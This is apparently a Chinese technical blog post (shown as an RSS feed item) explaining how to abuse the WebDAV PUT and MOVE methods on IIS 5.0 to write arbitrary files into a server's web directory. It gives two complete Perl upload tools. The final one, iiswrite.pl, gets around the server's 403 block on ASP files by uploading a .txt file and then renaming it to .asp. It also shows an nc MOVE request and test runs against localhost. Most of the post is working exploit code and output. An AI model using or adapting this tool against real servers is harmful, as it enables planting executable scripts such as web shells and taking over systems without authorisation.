PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修</p><p>改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 <br />　　Host：是HTTP请求的发送地址 <br />　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致</p><p>　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下</p><p>：</p><p>#!/usr/bin/perl <br />use IO::Socket; <br />$ARGC = @ARGV;</p><p>if ($ARGC != 4) <br />{ <br />　　print &quot;usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n&quot;; <br />　　exit; <br />} <br />$host = @ARGV[0]; <br />$port = @ARGV[1]; <br />$file = @ARGV[2]; <br />$path = @ARGV[3];</p><p>@s=stat(&quot;$file&quot;); <br />$size = $s[7]; #得到文件大小 <br />print &quot;$file size is $size bytes\n&quot;;</p><p>my $sock = IO::Socket::INET-&gt;new(Proto =&gt;&quot;tcp&quot;, <br />PeerAddr =&gt;$host, <br />PeerPort =&gt;$port) || die &quot;Sorry! Could not connect to $host \n&quot;; <br />print $sock &quot;PUT $path HTTP/1.1\n&quot;; <br />print $sock &quot;Host: $host\n&quot;; <br />print $sock &quot;Content-Length: $size\n\n&quot;; #sock连接</p><p>open(FILE,&quot;$file&quot;); <br />binmode(FILE); #用2进制打开文件</p><p>while (read(FILE,$char,1024)) { #读取文件数据上传 <br />　　print $sock &quot;$char&quot;; <br />} <br />print $sock &quot;\n\n&quot;; <br />@req = &lt;$sock&gt;; <br />print &quot;please wait...\n&quot;; <br />sleep(2); <br />if ($req[4]=~/200|201/){ <br />　　print &quot;upfile Succeed!!!&quot; ; #成功显示 <br />} <br />else{ <br />　　print &quot;upfile faile!!!\n\n&quot;; <br />　　print @req;#如果失败显示返回错误 <br />} <br />close $sock; <br />close FILE;</p><p><br />　　下面我们测试下：</p><p>C:\usr\bin&gt;perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt <br />kaka.txt size is 14 bytes <br />please wait... <br />upfile Succeed!!!</p><p>C:\Inetpub\Scripts&gt;dir kaka.txt <br />驱动器 C 中的卷没有标签。 <br />卷的序列号是 3CD1-479E</p><p>C:\Inetpub\Scripts 的目录</p><p>2004-05-05 00:37 14 kaka.txt <br />1 个文件 14 字节 <br />0 个目录 3,871,080,448 可用字节</p><p><br />　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试</p><p>下exe文件：</p><p>C:\usr\bin&gt;perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe <br />perl.exe size is 20535 bytes <br />please wait... <br />upfile Succeed!!!</p><p>C:\Inetpub\Scripts&gt;dir perl.exe <br />驱动器 C 中的卷没有标签。 <br />卷的序列号是 3CD1-479E</p><p>C:\Inetpub\Scripts 的目录</p><p>2004-05-05 00:42 20,535 perl.exe <br />1 个文件 20,535 字节 <br />0 个目录 3,871,031,296 可用字节</p><p>　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：</p><p>C:\usr\bin&gt;perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp <br />kaka.asp size is 4 bytes <br />please wait... <br />upfile faile!!!</p><p>HTTP/1.1 100 Continue <br />Server: Microsoft-IIS/5.0 <br />Date: Tue, 04 May 2004 16:45:51 GMT</p><p>HTTP/1.1 403 Forbidden <br />Server: Microsoft-IIS/5.0 <br />Date: Tue, 04 May 2004 16:45:51 GMT <br />Connection: close <br />Content-Type: text/html <br />Content-Length: 44</p><p>&lt;body&gt;&lt;h2&gt;HTTP/1.1 403 Forbidden&lt;/h2&gt;&lt;/body&gt;</p><p><br />　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403</p><p>Forbidden错误。</p><p>　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可</p><p>以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。</p><p>　　我们还是先用nc提交测试下：</p><p>D:\&gt;nc 127.0.0.1 80 <br />MOVE /scripts/kaka.txt HTTP/1.1 <br />Host:127.0.0.1 <br />Destination:http://127.0.0.1/scripts/kaka.asp</p><p>HTTP/1.1 201 Created <br />Server: Microsoft-IIS/5.0 <br />Date: Sun, 05 Oct 2003 09:30:59 GMT <br />Location:http://127.0.0.1/scripts/x.asp <br />Content-Type: text/xml <br />Content-Length: 0</p><p><br />　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了:)。我们还是用perl来</p><p>完成。</p><p>　　测试写asp成功：</p><p>C:\usr\bin&gt;perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp <br />************************************************************ <br />codz by ≯SuperHei&lt;QQ:123230273&gt; &amp;&amp; lanker&lt;QQ:18779569&gt; <br />************************************************************ <br />kaka.asp size is 4 bytes <br />please wait... <br />upfile Succeed!!! <br />Modifyfile Succeed!!!</p><p><br />　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打&ldquo;草稿&rdquo;，又lanker测试并最终完成，THX lanker。）：</p><p>#!/usr/bin/perl <br />#The iiswrite Script</p><p>use IO::Socket; <br />$ARGC = @ARGV; <br />print &quot;*&quot; x 60; <br />print &quot;\ncodz by ≯SuperHei&lt;QQ:123230273&gt; &amp;&amp; lanker&lt;QQ:18779569&gt;\n&quot;; <br />print &quot;*&quot; x 60,&quot;\n&quot;; <br />if ($ARGC != 4) <br />{ <br />　　print &quot;usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n&quot;; <br />　　exit; <br />} <br />$host = @ARGV[0]; <br />$port = @ARGV[1]; <br />$path = @ARGV[3]; <br />$file = @ARGV[2];</p><p>@path=split(&quot;/&quot;,$path); <br />$any = pop(@path); <br />$path1=join(&quot;/&quot;,@path); <br />@s=stat(&quot;$file&quot;); <br />$size = $s[7];</p><p>print &quot;$file size is $size bytes\n&quot;; <br />my $sock = IO::Socket::INET-&gt;new(Proto =&gt;&quot;tcp&quot;, <br />PeerAddr =&gt;$host, <br />PeerPort =&gt;$port) || die &quot;Sorry! Could not connect to $host \n&quot;; <br />print $sock &quot;PUT $path1/lanker.txt HTTP/1.1\n&quot;; <br />print $sock &quot;Host: $host\n&quot;; <br />print $sock &quot;Content-Length: $size\n\n&quot;; <br />open(FILE,&quot;$file&quot;)|| die &quot;Can't open $file&quot;; <br />binmode(FILE); <br />while (read(FILE,$char,1024)) { <br />　　print $sock &quot;$char&quot;; <br />} <br />print $sock &quot;\n\n&quot;; <br />@req = &lt;$sock&gt;; <br />print &quot;please wait...\n&quot;; <br />sleep(2); <br />if ($req[4]=~/200|201/){ <br />　　print &quot;upfile Succeed!!!\n&quot; ; <br />} <br />else{ <br />　　print &quot;upfile faile!!!\n&quot;; <br />} <br />close $sock; <br />close FILE;</p><p>my $sock = IO::Socket::INET-&gt;new(Proto =&gt;&quot;tcp&quot;, <br />PeerAddr =&gt;$host, <br />PeerPort =&gt;$port) || die &quot;Sorry! Could not connect to $host \n&quot;; <br />print $sock &quot;MOVE $path1/lanker.txt HTTP/1.1\n&quot;; <br />print $sock &quot;Host: $host\n&quot;; <br />print $sock &quot;Destination:http://$host:$port$path\n\n\n\n&quot;; <br />@req = &lt;$sock&gt;; <br />if ($req[0]=~/20\d+|/){ <br />　　print &quot;Modifyfile Succeed!!!&quot; ; <br />} <br />else{ <br />　　print &quot;upfile faile!!!&quot;; <br />} <br />close $sock;<br />&nbsp;</p>]]></description><category>技术笔记</category><comments>http://blog.careff.com/post/345.html#comment</comments><wfw:commentRss>http://blog.careff.com/feed.asp?cmt=345</wfw:commentRss></item></channel></rss>
